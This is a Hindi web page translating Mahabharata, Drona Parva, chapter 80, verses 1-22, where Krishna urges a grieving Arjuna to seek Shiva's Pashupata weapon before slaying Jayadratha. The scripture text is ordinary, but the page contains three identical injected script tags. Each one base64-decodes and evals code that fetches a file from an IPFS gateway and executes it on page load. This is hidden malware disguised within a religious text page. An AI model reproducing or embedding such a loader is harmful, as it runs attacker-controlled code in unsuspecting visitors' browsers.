महाभारत द्रोण पर्व अध्याय 80 श्लोक 1-22

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

अशीतितम (80) अध्याय: द्रोण पर्व ( प्रतिज्ञा पर्व )

महाभारत: द्रोण पर्व:अशीतितम अध्याय: श्लोक 1-22 का हिन्दी अनुवाद

अर्जुन का स्वप्न में भगवान् श्रीकृष्ण के साथ शिवजी के समीप जाना और उनकी स्तुति करना संजय कहते है¬राजन्। इधर अचिन्त्य पराक्रम- शाली कुन्तीपुत्र अर्जुन अपनी प्रतिज्ञा की रक्षा के लिये वनवासकाल में व्यास जी के बताये हुए ‍शिवसम्बन्धी मन्त्र का चिन्तन करते-करते नींद मोहित हो गये। उस समय स्वप्न में महातेजस्वी गरूडध्वज भगवान् श्रीकृष्ण शोकसंतप्त हो चिन्ता में पडे हुए कपिध्वज अर्जुन के पास आये।धर्मात्मा धनंजय किसी भी अवसदि में क्यों न हो, सदा प्रेम और भक्ति के साथ खडे होकर श्रीकृष्ण का स्वागत करते थे। अपने इस नियमका वे कभी लोभ नही होने देते थे । अर्जुन ने खडे होकर गोविन्द को बैठने के लिये आसन दिया और स्वयं उस समय किसी आसन पर बैठने का विचार उनहोने नही किया ।तब महातेजस्वी श्रीकृष्ण पार्थ के इस निश्‍चय को जान-कर अकेले ही आसन पर बैठे गये और खडे हुए कुन्ती-कुमार से इस प्रकार बोले- । कुन्तीनन्दन। तुम अपने मन को विषाद में न डालो; क्याकि कालपर विजय पाना अत्यनत कठिन है। काल ही समस्त प्राणियों को विधाता के अवश्यम्भावी विधान में प्रवृत्त कर देता है। मनुष्यों में श्रेष्ठ अर्जुन। बताओ तो सही , तुम्हे किस लिये विषाद हो रहा है। विद्वद्वर। तुम्हे शोक नही करना चाहिये; शोक समस्त कर्मो का विनाश करने वाला है। जो कार्य करना हो, उसे प्रयत्नपूर्वक करो। धनंजय। उद्योगहीन मनुष्य का जो शोक है, वह उसके लिये शत्रु के समान है । शोक करने वाला पुरुष अपने शत्रुओ को आनन्दित करता और बन्धु-बान्धवो को दुःख से दुर्बल बनाता है। इसके सिवा वह स्वयं भी शोक के कारण क्षीण होता जाता है। अतः तुम्हे शोक नही करना चाहिये। वसुदेवनन्दन भगवान् श्रीकृष्ण के ऐसा कहने पर किसी से पराजित न होने वाले विद्वान् अर्जुन ने ये अर्थयुक्त वचन उस समय कहा--।केशव। मैने जयद्रथ-त्रध के लिय यह भारी प्रतिज्ञा कर ली है कि कल मैं अपने पुत्र के घातक दुरात्मा सिंधुराज-को अवश्‍य मार डालूंगा।परंतु अच्युत। धृतराष्‍ट्र-पक्ष के सभी महारथी मेरी प्रतिज्ञा भंग करने के लिये सिंधुराज को निश्‍चय ही सबसे पीछे खडे करेंगे और वह उन सबके द्वारा सुरक्षित होगा । माधव श्रीकृष्ण।कौरवों की वे ग्यारह अक्षौहिणी सेनाए, जो अत्यनत दुर्जय है और उनमें मरने से बचे हुए जितने सैनिक विद्ममान है, उनसे तथा पूर्वोक्त सभी महारथियो से युद्धस्थल में घिरे होने पर दुरात्मा सिंधुराज को कैसे देखा जा सकता है । केशव। ऐसी अवस्था प्रतिज्ञा की पूर्ति नही हो सकेगी और प्रतिज्ञा भंग होने पर मेरे-जेसा पुरुष कैसे जीवन धारण कर सकता है । वीर। अब इस कष्टसाध्य जयद्रथवधरूपी कार्य की ओर से मेरी अभिलासा परिवर्तित हो रही है। इसके सिवा इन दिनों सूर्य जल्दी अस्त हो जाते है; इसलिये मैं ऐसा कह रहा हूं। अर्जुन के शोक का आधार क्या है, यह सुनकर महातेजस्वी विद्वान् गरूडध्वज कमलनयन भगवान् श्रीकृष्ण आचमन करके पूर्वाभिमुख होकर बैठे और पाण्डुपुत्र अर्जुन के हित तथा सिंधुराज जयद्रथ के वध के लिये इस प्रकार बोले-पार्थ। पाशुपत नामक एक परम उत्तम सनातन अस्त्र है, जिससे युद्ध में भगवान् महेश्‍वर ने समस्त दैत्यो का वध किया था।यदि वह अस्त्र आज तुम्हें विदित हो तो तुम अवश्‍य कल जयद्रथ को मार सकते हो और यदि तुम्हें उसका ज्ञान न हो तो मन-ही-मन भगवान् वृषभध्वज की शरण लो। धनंजय। तुम मन में उन महादेव जी का ध्यान करते हुए चुपचाप बैठ पाओ। तब उनके दया-प्रसाद से तुम उनके भक्त होने के कारण उस महान् अस्त्र को प्राप्त कर लोगे। भगवान् श्रीकृष्ण का यह वचन सुनकर अर्जुन जल का आचमन करके धरती पर एकाग्र होकर बैठ गये और मन से महादेव जी का चिन्तन लगे।



« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>